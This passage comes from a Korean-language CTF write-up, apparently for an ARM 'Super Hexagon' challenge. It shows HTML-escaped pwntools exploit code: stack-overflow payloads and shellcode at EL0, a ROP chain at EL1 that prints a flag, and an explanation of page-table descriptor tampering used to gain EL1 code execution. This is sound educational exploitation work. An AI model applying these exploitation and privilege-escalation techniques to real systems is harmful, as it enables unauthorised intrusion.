&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x120&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; make_shellcode(assembly)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; len(pl) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x00&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; len(pl))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;main&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x44&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mprotect&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x1000&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    load_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_RET)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gets&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(DUMMY_VALUE)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_SFP_IN_RUN &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x30&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    save_key(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; p64(EL0_STACK_LOW &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x100&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pl &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; p64(EL0_BUF &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x120&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sendline(pl)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;el1_return_oriented_programming&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rop_chain: list[int], el0_additional_assembly: str &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ROP_CHAIN_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFFFC0019C00&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    EL1_SYSCALL_HANDLER_RET_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFFFC0019BB8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rop_chain &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;join([p64(gadget) &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; gadget &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; rop_chain])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;assert&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; rop_chain &lt;span style=&#34;color:#f92672&#34;&gt;and&lt;/span&gt; len(rop_chain) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x420&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    el0_arbitrary_code_execute(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&amp;#34;  
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x22, xzr;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x23, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;len(rop_chain)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x24, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;ROP_CHAIN_ADDR&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        read_rop_chain:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x0, 0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            add x1, x24, x22;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            mov x2, 1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            ldr x5, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;read&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            blr x5;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            add x22, x22, 1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            cmp x22, x23;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            b.lt read_rop_chain
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x0, 0;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x1, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;hex(EL1_SYSCALL_HANDLER_RET_ADDR&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        mov x2, 1;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        ldr x5, =&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;el0_elf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;symbols[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;read&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        blr x5;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; el0_additional_assembly
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send(rop_chain)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\x94&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; remote(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;6666&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# p = process(&amp;#34;../share/run.sh&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# p = process(&amp;#34;../share/run_debug.sh&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;el0_elf &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ELF(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;./el0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL1_PRINT_FLAG &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFFFFFFC0008408&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chain &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, EL1_PRINT_FLAG]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;el1_return_oriented_programming(chain)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvuntil(&lt;span style=&#34;color:#e6db74&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Flag (EL1): &amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FLAG &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;recvline()[:&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Flag: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;FLAG&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;decode()&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;arbitrary-code-execute&#34;&gt;Arbitrary Code Execute&lt;/h4&gt;
&lt;p&gt;EL1 에서의 임의 코드 실행은 Page Table 을 변경하여 수행할 수 있다. EL1 에서의 &lt;code&gt;TTBR0_EL1&lt;/code&gt; 과 &lt;code&gt;TTBR1_EL1&lt;/code&gt; 은 각각 &lt;code&gt;0x20000&lt;/code&gt; 와 &lt;code&gt;0x1B000&lt;/code&gt; 로 설정되어 있다. 또한 이 주소 값은 &lt;code&gt;PA:0x40020000&lt;/code&gt; 와 &lt;code&gt;PA:0x4001B000&lt;/code&gt; 과 같다.&lt;/p&gt;
&lt;p&gt;다음 그림을 보면 알 수 있듯 &lt;code&gt;PA:0x400nn000&lt;/code&gt; 은 &lt;code&gt;EL1:0xFFFF_FFFF_C00n_n000&lt;/code&gt; 과 매핑되어 있다는 것을 알 수 있다. 그러면 상기한 read 의 취약점을 이용해서 &lt;code&gt;TTBRn_EL1&lt;/code&gt; 에 있는 Page Descriptor 들을 바꿀 수 있다.&lt;br&gt;
&lt;img src=&#34;./images/arm_super_hexagon_translation.png&#34; alt=&#34;arm_super_hexagon_translation.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;Page Descriptor 를 변경할 수 있으므로 UXN, PXN 이 모두 해제된 페이지를 만들 수 있다. 다만 RWX 영역은 EL2 에서 방지하므로 EL1 에서 mmap 으로 RW- 영역을 만들고 원하는 쉘 코드를 작성한 뒤 R-X 로 변경한 뒤에 Page Descriptor 를 변경해야 한다.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; pwn &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# context.log_level = &amp;#34;debug&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;arch &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;aarch64&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;bits &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;context&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;endian &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;little&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DUMMY_VALUE &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xDEAD_BEEF_CAFE_BEBE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_STACK_LOW &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFF_7FFF_E000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EL0_SFP_IN_RUN &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x7FFF_7FFF_FFA0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
